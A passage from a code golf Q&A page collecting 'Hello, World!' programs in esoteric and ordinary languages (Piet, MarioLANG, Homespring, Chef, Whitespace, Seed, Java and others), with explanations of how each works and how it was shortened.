- interweave the register's bits (01234567 -> 20416375) w - write the value of the register as an ASCII character ``` [Answer] # Piet, 90 codels [![enter image description here](https://i.stack.imgur.com/TZNsF.png)](https://i.stack.imgur.com/TZNsF.png) This is a 30 by 3 image. Alternatively, at codel size 10: [![enter image description here](https://i.stack.imgur.com/TnaHd.png)](https://i.stack.imgur.com/TnaHd.png) The uses a 3-high layout so that I only need to pointer once. If this is still golfable I could probably shave at most another column, since there's a push-pop no-op in there. Edit: [@primo's 84 codel solution](https://codegolf.stackexchange.com/a/67601/21487). [Answer] # [Haystack](https://github.com/kade-robertson/haystack), 17 Bytes Haystack is a 2D programming language that executes until it finds the needle in the haystack `|`, all while performing stack-based operations. All programs start from the top left corner, and can use the directional characters `><^v` to move around the program. Direction is inherited, so you do not need to keep using `>` to go right, direction will only change when it hits a different directional character. By default, the interpreter reads from the top left going right, so we can just put "Hello, World!" onto the stack, use `o` to print it, then place the needle to finish executing. ``` "Hello, World!"o| ``` [Try it online!](https://tio.run/##y0isLC5JTM7@/1/JIzUnJ19HITy/KCdFUSm/5v9/AA "Haystack – Try It Online") Bonus: A more exciting version: ``` v >;+o| v " v ! v d v l v r >>"Hello, ">>>v W v " v ^<<<<<<< ``` [Answer] # [Help, WarDoq!](http://esolangs.org/wiki/Help,_WarDoq%21), 1 byte ``` H ``` Not only does [Help, WarDoq!](http://esolangs.org/wiki/Help,_WarDoq%21) have a built-in for most common spellings of the phrase, it even satisfies our usual definition of programming language. Try it in the [official online interpreter](http://cjam.aditsu.net/#code=l%3AQ%7B%22HhEeLlOoWwRrDd%2C!AaPpQq%22Q%7C%5B%22Hh%22%22ello%22a%5B'%2CL%5DSa%22Ww%22%22orld%22a%5B'!L%5D%5D%3Am*%3A%60%5B%7Briri%2B%7D%7Briri%5E%7D%7Brimp%7D%7Brizmp%7DQ%60Q%7B%5C%2B%7D*%60L%5D%2Ber%3A~N*%7D%3AH~&input=H) (code goes in *Input*). [Answer] # [MarioLANG](https://esolangs.org/wiki/MarioLANG), ~~259~~ ~~249~~ ~~242~~ ~~240~~ 235 bytes ``` +>+>)+)+)+++)++++((((-[!)>->. +"+"===================#+".") +++!((+++++++++)++++++)<.---+ ++=#===================")---. ++((.-(.)).+++..+++++++.<--- !+======================--- =#>++++++++++++++.).+++.-!>! =======================#=# ``` [Try it online!](https://tio.run/##bY6xDsIwDET3fEXiLLFOvi9o/CNMnRAStBL/LwUXyoDIsywP5zv7sT5v@33drmPA4Yqj8G60wC5F3ZwJAun/VAhFU2yX1vBFz7HQzBBqrxOvaKiRHIdojaoMD3lmcAk15YI@5RB7dfzAT4QVLynnuTFeqWO8AA "MarioLANG – Try It Online") This has been tested [in the Ruby implementation](https://github.com/mynery/mariolang.rb). [After obfuscating "Hello, World!"](https://codegolf.stackexchange.com/a/54928/8478) in MarioLANG I looked into golfing it a bit. The above is the shortest I have found so far. As before I started from a Brainfuck solution which sets four cells to the nearest multiple of 10 to the characters `He,` and space [and converted it to MarioLANG](https://codegolf.stackexchange.com/q/55380/8478). You can then shorten the code a bit by making use of the auxiliary floor in the loop which almost halves the width of the loop. Note that the bottom is only executed one time less than the top, so you don't get exact multiples of the initial counter in all 4 cells any more. Finally, I wanted to make use of the wasted space in front of the loop, so I added a bunch of elevators to make use of the vertical space there. And then I realised that I could fold the code *after* the loop (see previous revision) below the loop to make use of some more vertical space, which saved five more bytes. This is likely still far from perfect, but it's a decent improvement over the naive solution, I think. ## Metagolf Time for some automation... I have started setting up a solver in Mathematica to find an optimal solution. It currently assumes that the structure of the code is fixed: counter set to 12, 4 cells for printing, with the fixed assignment to `He,<space>` and the same order of those cells. What it varies is the number of `+`s in the loop as well as the necessary corrections afterwards: ``` n = 12; Minimize[ { 3(*lines*)+ 12(*initialiser base*)+ Ceiling[(n - 6)/2] 3(*additional initialiser*)+ 8(*loop ends*)+ 18(*cell moves*)+ 26(*printing*)+ 43*2(*steps between letters in one cell*)+ -2(*edge golf*)+ 4 Max[4 + a + d + g + j + 2 Sign[Sign@g + Sign@j] + 2 Sign@j + 2, 4 + b + e + h + k + 2 Sign[Sign@h + Sign@k] + 2 Sign@k] + 2 (Abs@c + Abs@f + Abs@i + Abs@l), a >= 0 && d >= 0 && g >= 0 && j >= 0 && b >= 0 && e >= 0 && h >= 0 && k >= 0 && n*a + (n - 1) b + c == 72 && n*d + (n - 1) e + f == 101 && n*g + (n - 1) h + i == 44 && n*j + (n - 1) k + l == 32 }, {a, b, c, d, e, f, g, h, i, j, k, l}, Integers ] ``` It turns out, that for an initial counter of 12 my handcrafted solution is already optimal. However, using 11 instead saves two bytes. I tried all counter values from 6 to 20 (inclusive) with the following results: ``` 6: {277,{a->7,b->6,c->0,d->16,e->1,f->0,g->0,h->9,i->-1,j->0,k->6,l->2}} 7: {266,{a->6,b->5,c->0,d->11,e->4,f->0,g->2,h->5,i->0,j->0,k->5,l->2}} 8: {258,{a->2,b->8,c->0,d->3,e->11,f->0,g->5,h->0,i->4,j->4,k->0,l->0}} 9: {253,{a->8,b->0,c->0,d->5,e->7,f->0,g->2,h->3,i->2,j->0,k->4,l->0}} 10: {251,{a->0,b->8,c->0,d->3,e->8,f->-1,g->4,h->0,i->4,j->3,k->0,l->2}} 11: {240,{a->1,b->6,c->1,d->1,e->9,f->0,g->4,h->0,i->0,j->3,k->0,l->-1}} 12: {242,{a->6,b->0,c->0,d->6,e->3,f->-4,g->0,h->4,i->0,j->0,k->3,l->-1}} 13: {257,{a->1,b->5,c->-1,d->6,e->2,f->-1,g->3,h->0,i->5,j->0,k->3,l->-4}} 14: {257,{a->1,b->4,c->6,d->0,e->8,f->-3,g->3,h->0,i->2,j->2,k->0,l->4}} 15: {242,{a->1,b->4,c->1,d->3,e->4,f->0,g->1,h->2,i->1,j->2,k->0,l->2}} 16: {252,{a->0,b->5,c->-3,d->4,e->2,f->7,g->0,h->3,i->-1,j->2,k->0,l->0}} 17: {245,{a->4,b->0,c->4,d->5,e->1,f->0,g->0,h->3,i->-4,j->0,k->2,l->0}} 18: {253,{a->4,b->0,c->0,d->1,e->5,f->-2,g->2,h->0,i->8,j->0,k->2,l->-2}} 19: {264,{a->0,b->4,c->0,d->5,e->0,f->6,g->2,h->0,i->6,j->0,k->2,l->-4}} 20: {262,{a->0,b->4,c->-4,d->5,e->0,f->1,g->2,h->0,i->4,j->0,k->2,l->-6}} ``` **Note:** This solver assumes that the linear code after the loop is all on the top line, and the above code is that solution folded up. There might be a shorter overall solution by making the solver aware of the folding, because now I get 3 more `+`s in the first part for free, and the next 4 instructions would cost only 1 byte instead of 2. [Answer] # [Dark](https://esolangs.org/wiki/Dark), 106 bytes ``` +h hell h$twist sign s s$scrawl " Hello, World! s$read h$twist stalker o o$stalk o$personal o$echo h$empty ``` I'll just let some quotes from the language specification speak for the brilliance of this esolang: > > Dark is a language based on manipulating entire worlds and dimensions to achieve goals and to build the best torturous reality possible. > > > > > Whenever a syntax error occurs, the program's sanity decreases by 1. [...] If the program's sanity reaches zero, the interpreter goes insane. > > > > > Corruption flips a single bit in the variable when it occurs. > > > > > When the master dies, all servant variables attached to that master also die. This is useful for grouping and mass killing variables. > > > > > Forces a variable to kill itself, freeing it (remember though that it will leave decay). > > > > > Sets a variable to a random value. Uses the Global Chaos Generator. > > > > > If a stalker is not initialized, any attempts to perform IO will result in depressing error messages to be written to the console. > > > [Answer] # [Homespring](https://esolangs.org/wiki/Homespring), 58 bytes ``` Universe net hatchery Hello,. World! powers a b snowmelt ``` [Try it online!](https://tio.run/##DcrBCYAwDAXQVb53cQ4XEM9Vgy2kSUmDxemj7/yyVurNitwRm5SHrBOEHDn5mclerMSs84Jdja8JaDr@hIQDXXRUYkfEBw "Homespring – Try It Online") The trailing space is significant. Let me tell you a story. There was once a power plant which powered a nearby salmon hatchery. The salmon hatchery hatched a young homeless salmon which embarked on a journey upriver to find a spring. It did find such a spring, with the poetic name "Hello, World!", where it matured and spawned a new young salmon. Both fish now swam downstream, in search of the wide ocean. But just short of the mouth of the river, there was a net in the river - the mature fish was caught and only the young one managed to slip through and reached the ocean and the rest of the universe. In the meantime, the hatchery had hatched more salmon which had travelled upstream as well and spawned and so on and so on. However, vast amounts of melting snow had been travelling down a different arm of the river. And just after our first young salmon from the springs of "Hello, World!" has reached the ocean, the snowmelt hit the universe and... uh... destroyed it. And they lived happily ever after... or I guess they didn't. Those were actually the semantics of the above program. Homespring is weird. [Answer] # [Chef](https://esolangs.org/wiki/Chef), 465 bytes ``` H. Ingredients. 72 l h 101 l e 108 l l 111 l o 44 l C 32 l S 87 l w 114 l r 100 l d 33 l X Method. Put X into mixing bowl.Put d into mixing bowl.Put l into mixing bowl.Put r into mixing bowl.Put o into mixing bowl.Put w into mixing bowl.Put S into mixing bowl.Put C into mixing bowl.Put o into mixing bowl.Put l into mixing bowl.Put l into mixing bowl.Put e into mixing bowl.Put h into mixing bowl.Pour contents of the mixing bowl into the baking dish. Serves 1. ``` [Try it online!](https://tio.run/##ldGxDoMgEIDh/Z7inoBINdHdpR2aNHFxrXIWUgoJYu3b0yNdOrA4/eHjYLlZ05LSWQBc3COQMuTiKqA9oUUNspJc4nZcC1Lms4em4fRQ56kBupaz82XWwMMVV0Fdc0aAK0XtlYDbFnFE46LHl/kY98DJ71ZkVmW2ZQ5l9mXeyzyUuT/0tz3EVGZdYL8FnL2LeRvoF4ya/gd@LzJO92dGZVbNOxwovGlFKVL6Ag "Chef – Try It Online") Tested with the Ruby interpreter. Makes alphabet soup. I tried to be as compliant to the [original spec](http://www.dangermouse.net/esoteric/chef.html) as I could, so even though the interpreter I used lets you drop the `the`s in the `Pour contents` instruction, I haven't done so. The mixing bowl is pretty expensive, so there might be a better approach. I tried using base conversion to encode the message, but unfortunately the spec doesn't clarify whether `Divide` uses integer or floating point division, and the interpreter I have uses the latter. There's also no modulo operator, which doesn't help either. [Answer] # Piet, 84 codels ![Piet Hello World](https://i.stack.imgur.com/AflNo.png) *28x3, here shown with codel width 10.* Created with [PietDev](https://www.rapapaing.com/blog/pietdev) ([zip](https://web.archive.org/web/20190408184542/http://www.rapapaing.com/piet/pietdev.zip)), tested with [npiet](http://www.bertnase.de/npiet/). The layout of the program is the following: ![Piet Layout](https://i.stack.imgur.com/CUQu1.png) Yellow fill indicates codels where the path overlaps, orange fill indicates codels which must be the same color, for purposes of control flow. To aid in the creation of this, I wrote a rudimentary interpreter for a stack-based language with piet-like commands, which I have dubbed "pasm" ([source](https://gist.github.com/primo-ppcg/d6ccb34016235d2e5841a38941c4f7c3#file-pasm-py)). The output from this interpreter (with [this input](https://gist.github.com/primo-ppcg/d6ccb34016235d2e5841a38941c4f7c3#file-hello-pasm)) is the following: ``` 1 nop blu1 [] 4 push 3 blu2 [3] 5 dup grn2 [3, 3] 6 add cyn2 [6] 7 dup ylw2 [6, 6] 8 mul grn1 [36] 9 dup red1 [36, 36] 10 dup blu1 [36, 36, 36] 11 add mgn1 [36, 72] H 12 putc blu0 [36] 15 push 3 blu1 [36, 3] 16 sub mgn2 [33] 17 dup cyn2 [33, 33] 20 push 3 cyn0 [33, 33, 3] 21 mul blu2 [33, 99] 22 push 1 blu0 [33, 99, 1] 23 add mgn0 [33, 100] 24 dup cyn0 [33, 100, 100] 25 push 1 cyn1 [33, 100, 100, 1] 26 add blu1 [33, 100, 101] e 27 putc cyn0 [33, 100] 28 dup ylw0 [33, 100, 100] 32 push 4 ylw1 [33, 100, 100, 4] 33 dup mgn1 [33, 100, 100, 4, 4] 34 add red1 [33, 100, 100, 8] 35 add ylw1 [33, 100, 108] 36 dup mgn1 [33, 100, 108, 108] l 37 putc blu0 [33, 100, 108] 38 dup grn0 [33, 100, 108, 108] l 39 putc ylw2 [33, 100, 108] 40 dup mgn2 [33, 100, 108, 108] 43 push 3 mgn0 [33, 100, 108, 108, 3] 44 add red0 [33, 100, 108, 111] 45 dup blu0 [33, 100, 108, 111, 111] o 46 putc cyn2 [33, 100, 108, 111] 47 dup ylw2 [33, 100, 108, 111, 111] 48 dup mgn2 [33, 100, 108, 111, 111, 111] 53 push 5 mgn0 [33, 100, 108, 111, 111, 111, 5] 54 div ylw0 [33, 100, 108, 111, 111, 22] 55 dup mgn0 [33, 100, 108, 111, 111, 22, 22] 56 add red0 [33, 100, 108, 111, 111, 44] 57 dup blu0 [33, 100, 108, 111, 111, 44, 44] , 58 putc cyn2 [33, 100, 108, 111, 111, 44] 59 dup ylw2 [33, 100, 108, 111, 111, 44, 44] 60 add grn2 [33, 100, 108, 111, 111, 88] 64 push 4 grn0 [33, 100, 108, 111, 111, 88, 4] 65 dup red0 [33, 100, 108, 111, 111, 88, 4, 4] 66 mul ylw2 [33, 100, 108, 111, 111, 88, 16] 67 dup mgn2 [33, 100, 108, 111, 111, 88, 16, 16] 68 add red2 [33, 100, 108, 111, 111, 88, 32] 69 putc mgn1 [33, 100, 108, 111, 111, 88] 70 push 1 mgn2 [33, 100, 108, 111, 111, 88, 1] 71 sub red0 [33, 100, 108, 111, 111, 87] W 72 putc mgn2 [33, 100, 108, 111, 111] o 73 putc blu1 [33, 100, 108, 111] 76 push 3 blu2 [33, 100, 108, 111, 3] 77 add mgn2 [33, 100, 108, 114] r 78 putc blu1 [33, 100, 108] l 79 putc cyn0 [33, 100] d 80 putc grn2 [33] ! 81 putc ylw1 [] ``` No pointer, switch, or roll commands are used. No codels are wasted either; in fact two are reused. [Answer] # HTML, 13 bytes ``` Hello, World! ``` The text is automatically inserted into the `<body>`, and is displayed. [Answer] # CSS, 30 bytes ``` :after{content:"Hello, World!" ``` Cascading Style Sheets (CSS) isn't a typical programming language, but it can do fixed output fairly well. This is done by creating a [pseudo-element](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements) after every element with the content `Hello, World!`. So only one element (`<html>`) is selected, this assumes that we're using the most basic HTML document, i.e. ``` <html><style>:after{content:"Hello, World!"</style></html> ``` This works in most major browsers, with the notable exception of Firefox, which applies the selector to the `<html>` and `<body>` elements. This is also why Stack snippets don't work, because there is always a body element that gets styled as well. Below is a slightly modified version to test. ``` * :after{content:"Hello, World!" ``` [Answer] # Java, 79 ``` class H{public static void main(String[]a){System.out.print("Hello, World!");}} ``` [Try it online!](https://tio.run/##y0osS9TNSsn@/z85J7G4WMGjuqA0KSczWaG4JLEESJXlZ6Yo5CZm5mkElxRl5qVHxyZqVgdXFpek5urll5boFQAFSzSUPFJzcvJ1FMLzi3JSFJU0rWtr//8HAA "Java (JDK) – Try It Online") Earlier versions of Java may allow you to use a static block (51 bytes), but currently I don't know of a way to bypass the `main` method. [Answer] # [Whitespace](http://esolangs.org/wiki/whitespace), ~~192~~ ~~150~~ 146 bytes Whitespace only needs spaces, tabs and linefeeds while other characters are ignored. Which can be troublesome to display on here. So in the code below the spaces & tabs were replaced. And a ';' was put in front of the linefeeds for clarity. To run the code, first replace . and > by spaces and tabs. ``` ...; ..>>..>.>.; ..>>>>; ...>; ...>>>; ...>..; ..>>.>..; ..>>..>.>>; ..>>>>>>>; ...>..; ...>; .; ...>>>.; ..>>...>>; ; ..; .; .; >.>; ...>>.>.>>; >...>; ..; .; ; ; ..>; ; ; ; ``` [Try it online!](https://tio.run/##VY1RCsAwCEO/4ylytVEK299ghR7fxVWhQ9RAnnGe1@jPfbTuTtJIQK36JKDFNVIXhJ1G0j8o7vKy0CAtTBUqdwUgH8kJRJyZ@ws "Whitespace – Try It Online") ### Hexdump of code ``` 00000000: 2020 200a 2020 0909 2020 0920 0920 0a20 00000010: 2009 0909 090a 2020 2009 0a20 2020 0909 00000020: 090a 2020 2009 2020 0a20 2009 0920 0920 00000030: 200a 2020 0909 2020 0920 0909 0a20 2009 00000040: 0909 0909 0909 0a20 2020 0920 200a 2020 00000050: 2009 0a20 0a20 2020 0909 0920 0a20 2009 00000060: 0920 2020 0909 0a0a 2020 0a20 0a20 0a09 00000070: 2009 0a20 2020 0909 2009 2009 090a 0920 00000080: 2020 090a 2020 0a20 0a0a 0a20 2009 0a0a 00000090: 0a0a ``` ### Whitespace assembly code: ``` push 0 ;null push -74 ;! chr(33) push -7 ;d chr(100) push 1 ;l chr(108) push 7 ;r chr(114) push 4 ;o chr(111) push -20 ;W chr(87) push -75 ; chr(32) push -63 ;, chr(44) push 4 ;o push 1 ;l dup ;l push -6 ;e chr(101) push -35 ;H chr(72) p: dup jumpz e push 107 add printc jump p e: exit ``` ### Remarks: I had to write a program just to calculate that adding 107 gives the optimal golf for the sentence. Since the bytesize that an integer takes in the code changes. : 4+int(abs(log2($n))) The code will still run without the "e:" label & exit part on [whitespace.kauaveel.ee](http://whitespace.kauaveel.ee/). But that could make the whitespace code invalid on other whitespace compilers. So those bytes weren't golfed out from the solution. **It Should Be Noted That** As Kevin Cruijssen pointed out in the comments, by allowing an "exit by error" as per meta, the Whitespace can be golfcoded more to **126** characters. ``` ..>>..>.>.; ..>>>>; ...>; ...>>>; ...>..; ..>>.>..; ..>>..>.>>; ..>>>>>>>; ...>..; ...>; .; ...>>>.; ..>>...>>; ; ..; ...>>.>.>>; >...>; ..; .; ; ``` [Try it online!](https://tio.run/##K8/ILEktLkhMTv3/X0GBkxOIgZALxOTkBFIKEALKVoDIIBgg1ZxQ1SiKQPqgOmFKQSq5oJKcEI2cUAuAarn@/wcA "Whitespace – Try It Online") **Assembly:** ``` push -74 push -7 push 1 push 7 push 4 push -20 push -75 push -63 push 4 push 1 dup push -6 push -35 label_0: push 107 add printc jmp label_0 ``` [Answer] # [Seed](https://github.com/TryItOnline/seed), ~~4154~~ ~~4135~~ ~~4117~~ 4078 bytes Explanation, quite long, along with the description of the generation algorithm on my home page (as per request in comments): [link](https://palaiologos.rocks/posts/mersenne-twister/) Possibly smallest one can create in finite amount of time. **Feersum's generator has been outscored by 125 digits.** ``` 18 1999111369209307333809858526699771101145468560828234645250681099656696029279480812880779443148152835266354745917034724622145903651417563371730237765283326056988244774110441802133624468817714160177386022056512108401823787027806425684398448067970193332644167536135089961308323052217690818659345826221618714547471817786824952177760705661213021136861627615564344797191592895410701640622192392412826316893318666484043376230339929937013414786228802341109250367744273459627437423609306999946689714086908789713031946200584966850579209651689981508129953665360591585003323062426849065928803791631705897655870676902001410564547259097078231664817435753967511921076054045034302323796976905054512737624542497156263914722954936458789312271946701667519720841308380062811251340113402138536813062807047486584549696366881131076129644333426157514410757991556230404583924322168740934746079177400690540383270574734570453863131129670312070568678426587468145691141064452504683450565188718043501125177371576228281599163415914580472091806809959254536307112226422637068036069837636348250796013947548859219492684001888592443619271863264913733271796439829896342322684180478385639971904415730730155249230972472713598001454701479081682503703435292522488015910406951417625194589254609756805750713606175216991897729604817653297756338264018378339186646236428245791304007449872675676823828828025054891324604572924113135541994460293993994930010757779465315482913805320566037487246911578188713647298779820394853314711728701462997760060773720597833413054385989484972761510228922232188763499675904892361201334056531237561182096332707820332381472154893517831468669407424867949853884550905603295504680929068346527584718316837786318710085149722173684889784734888358566137013072868037395888296895408992035862679921478330680631465096402120764369879221964359613565641652779510635224788673321444028128955312660697375763703507924497355056468329176678508797277505818080245055083627993568557883893217501909841992899324584338401263402065617507377073719573642373296064002058833488593469308722954567388945161866200094063588423591356962865924188962743278147095803148276100759174767606637848987740320689762075562393521992008413240632519860537097220403160035470139899869535541445941688033346042941342229305392639867768112643798588915164061012851035069872578424685533430920913310727097269791325370108354115267003538502506307401037702631576755065238836157990287620373910423088628131973441805618500402407032751005850768445522318425479521483938945040598642922742796671148454685792926662105094734939468210307429214048710552195412807154088634170043145174020299723624868716804740205833308025010299791473201989330179511900752421521748244324520372384555472905196933204791343923384985673930225356512632819977168423365518584516873151142795940198973519372718229122661025988052451376835210066645728260048500257088773609522352231828810506243886764860621803233068079848240668323783996022507908005888468315483796728648978952610219628600082949325089555677853995177602958596492703349550377871982505777660804519503438416790609328789548538308170189581940118961959513239411467871900221985235702327603132341245854941342838886675363828149587290416073764877392438738417021129652498464495269870868163299830870636019233313974206364225614175115905798645888824666280593535350493547833757379214088677125769505793280646751090271497879000895725329057103702349349795211071357094147037863458426851391499872003703049553149335378055054176480977774050198041879243243264959205957441742983643583697591926138999543475339555662645088503078864968452030049140027407987267835123806661736568594687416676322591834962173789578844522343172160526435025531896189408441645468352864002987706103448393710107805248652709736711528349633758515438315407447026188178510124322920110858766628704828773265703683997486487094455425009292414948853993709223752434073750917088611480305840639869649933404702780843770306859066070919534638022435125602050780767420448917941603557783974740312706609928585387278690009349321957381507513875981113699582062422293555869483805964659436085153933836036107786 ``` [Try it online!](https://tio.run/##JdeJcdxIDAXQVDaEvhudzzqCzb@873PKtiyNSDbwL4D//fnz79@/vf7p773e@zxvtDfbnXNWe7Vrj3Peu7f31vva69Q@rUaNuc7aY7dTvb13tstOG2/ct6pVH1Xt@n7NvqrvUTNPmnvdtV@/ba471hnDM1@bZ/fV7z5z3n5nG/Pek3vmOG2fVzXWuncpYq1ebfQ5j49OVVfa6qf5f5YChut3H73Val2Vt24bt9pZY59a89VS37nvtv5mDvDEc/c8fe5WOumz1RyzbcXd8/RSZ7@5do3Ue3rdAHHX7Tm9juLedq2a23X8cbwegmadfsY9fe@zphbe7a/vN@rt1V3cz2p56BvzjQW0cWY/pTCHnrM0sWBylDPne@O96aa5@nLuCMZ4gMpDxDwQWuOq9Dl0zbvGPGETge@t47kqb5Webr730O7z0dqu9fx@t30jAAi6@OEtTL4HneNfwxxFNLUoCAEDoq@dNFRt3tdVDwHPPnsD/gQ/j8cQXALawDboL2Z6@uvq3NB/KOhgAIpjdK2fFSFg8J2X5yhuYfYGDo8C@u37AOxBYwyIvumMtDb7GDetBeE8@d1BEB@z1VRevY8NR5r2BV2lveppimwbcnFeTnH20Tyd9ZnaoEEwdKP3rvC@wiPUXjiGSkqvkDmjlboLAR5HGVTvp5ZOVpskBikiQpcDN/FOR@T5zNHHp6Q6txykJ1InusOjzlNBnOczN396L5osUtnta4wXYHOjEK3uF2KW/z3CVbB4rj4M/lAH1XlY3p2DG/yjMb/EN@dB229XOQ8RtPfW3avKjQB@UQB@6/sAMAeHSjnx1etTjvjRjTHeeAVMohy5K/VedDD9iy3i7H0TPQ2U2AUm2lRLqPtVVERAvt548qSimRwRLJoYQ1EtPaLgvC9PDiieltMjI8iXArlGenqTNxiCDblesLeokcyHH5NEvJgIkSCsFztyCoGBFGN6c05juFd3kBip0zS4/W0jWi3XiDjcejpzY3dutmfFlaTUtr9Eq7NIKGnp@O7O4ValzoTZ0eWqhCXy962Pa3V4aLmlRkMJ@cpZFN5RgeiMZPahthYteM5LG3HAXjDHhGwBb7KpS00YDcTk4Sh6sSNGfIrRgXUu2SmOHffpglVIhNs4@YuDiglT@5v0V6qh3vMWiDAjbwFF5Dy1GwfoimM/DQsvGULKEv8yHfkkA2eidSZsWyt0KlbGcimeNRPjUN2URwL3S8Wm@ej2zrf9CqWJ2WS6Ere8VAXVRnUzAj8pUjUnCcBwRErwApCyfb8zCjR9zAeVXZpyS4R2S0OaZn63ZtZpBTYnjgE350WZcQxP@GTHpbErYq9AkqHOgT4xbow2komTfWyuqdK5tZHNH885LmMQo4t4HOYjqpZCmXHsqgghHEFzz7350h8vESswIm0tugYqc37eBTbd1S82aRcxjJLZdjIOGt60iq0BhqBgomQKkrErv@liqIKygbplxEdJ/JDZvi4zNMMeSxWRijsFZipA@YtJDY700r5UHjktXjXAN@RCNXdRgVHzeV56GEds/TlI/D2kZOboh8OGHwWLbuhb@IoUDHGkTMPkzSLDjvsbtxaZQVDhJ3SPnYzNXsNDRk7mH72z5PgqwWiMnLosFcrhQkpKZYwUqyc8EdECfeY3@nWJEa7AZ890IJN0H20KKNFGQpRj/tJxshB9mayoZBl4GS0ZyxileKbhzq5OaGTXWEbMDGVuYGZEUy2nSdojBVb9NjX6AwZKjV@cOkrk@IWfU/OIG7icxXb42NlApGNMU5kYusz@xtCRWDJlZO/isgv@jMlPVVhoX@j175rMY4Sj0x5jMXuZ7NGGhaFnUVpZ56LhAAIk7WU1EAuM5x7kB3MzY0Tj2KNQ1A4sfNsdtVT/ttITiVofjcDM60xcBEAAFETyFcF/Vr3MkaIQU05gqNZWacdzjxGX7RTeWbmkteTXeOggDlCIUOMjFPxoEPIBFBIzSWCNIXfZibZfshBcevS8bJLy5mU3/kYooOLDShokLrPeJLdWQs0ZKa1/bmNDGYaxkb0URBQtQs3snmjnXEY2ZcmUcBOmiUzOz2TMOBFHONL7t0tV1lxBax8Z2ZF2hkYhDstGoBgKXL4zwrczFM5VEvJ7JiiU5W3AtpatTAEzl1CMKLInfQYUVwD5tumMQqFtdcFrFvTsbStQZjfCUkVe41t4Mu0BsrJGx5JWVANecL3UZxkBf1ZkrpyPbPMBt7NMXhr48WVvrSx/yf0VxeNWyORPA@H@Ql8wgzuaD23XpmSv/HZekMjIbIqGE6EIbQEdBuToyE7gqjg8@7b0fJ8LezYJeLzs434Zz@wsbOIlW@lLvLRvS2nrGxHuVZLXkUyEbCjeRcg4EZmIR1fPAIo5vg1K4urDmuhadpUm5pKvL0HL2tYEq72RbimzpUQkxpxYEPKxuD6tsPU5jaTVhEiH3d/WQvYmekX3Ga0ZOokHL1pIRACTGMaekMkbzXhgdk8gWPRtTwyUivhEc5GOTBLp7v8CiF/qGz2ZAkleWZfkAiXsPvtVZisMZnIrr3wri4U9YPdsKvFItqwka8/bXpK7f9s1aDDA9vfj2xJNcvRlXwb4iemyxtMcgkSM8GzZNcwwcq3PShk2IzuNJ65IVEz2WP4kRGGGzvZNkzjtZQ1av/dJ4/eG10AGP5mNkG0agdOKEGAtOdhLnwYC1a6shDeTy@xg0IqYMxy91OQRme07phRVeUlreXXI@M8sz7sYefql4Pq9qTPX@N7CMvdQ756V95ukglltm8nipE0h6nuTqGWn@vv3fw "Seed – Try It Online") ## Original, 4154 byte version Added per request of @JoKing, because the 1st program doesn't *quite* run on TIO, albeit being valid. ``` 20 77698190481213510983405846204529755428212736563278528088055816123655499433757607718113585773285686740433752335768949721107461077652705328567448384490378909463204984642622585570301449419608763821501335954761638946551568252142160714228369356054944595121742743720935369219143086698092657062614382519069928478344861416117079283276656675368390764675728501797178208908097054412833019383889935034413095990596139618411133857423995278221670378808372393943846302426674985203826030563290800228881174929701934609803807325868775242909948272754141956168876233403760199007405891058308908050926690654387065882097924294620229833663324754801060691573338185912369627367088050915813931912943122729210762147280440619571047157836177316082899933374851699282897590433145623725705072835054748369992455883804733164985993447304652512229557984322495162682327137071900307763332392727562988633724175094951314863886096190608268953115914497741446723188169519334729165647294618083444761551231012944903572063441813639201051793052623561949314826491616145873848990439549320951496534538450810083853945092224500179417650727351532486362656533602860500906935826231374501097567347929533018944533000919137863885267937690665655625569011036163950983389810112758403211861147501289650757555111271813737813381172074709337306647481507917983021055643749698971365256395367215437223669891280521155247529741719633106765965869860677198632388808752014013939448563313855130972968670015202479226496876067874099463222366536167126653600056389712632892652810365218798697007191747287017174284819764736012653205048166550645507761123345279502597627995423826537299795220169894222867163817508592362092945387317777666016102146798532337718546431888424995701016828542559577710937459975677354300708252448630110787487122698124054544454425586794841157136743408274159313823745226919626156949004386804874236325506583268311452185182143521552429596087556634158778951670223004413763782647825362665491934988477225698133609360969370513836064317152213804169538880632390908441210809806024082600637872813704781431414342781727628446451808751293046212690472851527294326981763969926510021099532791692362104324026231160941956411410511639925420026544463125250979130259151326444714248961523031316570018708849878676230362246913063109584502143502908906243190007062857721367402065760878808920961082444422470813023453274563914735545463757909757689866565064353853099958949763412521666109346825939993377745919874506439752272141853783745051726268592621080457687000431023453539135927140364910898906534604541224314820195082362228787083990333757268808864746297304451768935814651205074884015268982492445996542040655715230139673520569765431617018824427859214902954216246257690105154030408059145566852643855789351907818461502260430297487602982850090037405732117988720732457199005151517240766953718440639691354185802798689950155164379549518496065038927905828230066053603755553745353618846804435103593395141938947781375633374976924393453162350331593801284839409264892975739791751842620029351535320807733966984270102067017902086335370470815153908942490581427972998999752666174807935897314584088695849094389002316139005810918748032068307783088481430339303809949409414892479892121893571274086727250767713365523021125610242269894861374297866741571608166536165735922984579027986499758294460652554897534526492251140681138244025665400003029337114012766773010641359450599171473565675885966777145500248501370644599274741842644014722083732709145488157998306684831419559774212264003518406013032514468522158218837161285401631773099549510145156007147884565387852623860047153609138110997222297132678660783411624002400927435687937355446057878202312894093195453248164648271580944753933355967626542678764854079218206499479071658357103085513937246462858404881973219571392564909528645166637501279457604649906515968389831094896970731573714836150178126997674563415266672131632765794599548356902607125568792417432226125654028873443580337866760487651905138461301986816386866811155111486155341154153322710638921116465132825486519667178335471102213200521032618562169530188826434060179505699797068436325168526618824444305122475837890944742004331675952611756641739756206337285946 ``` [Try it 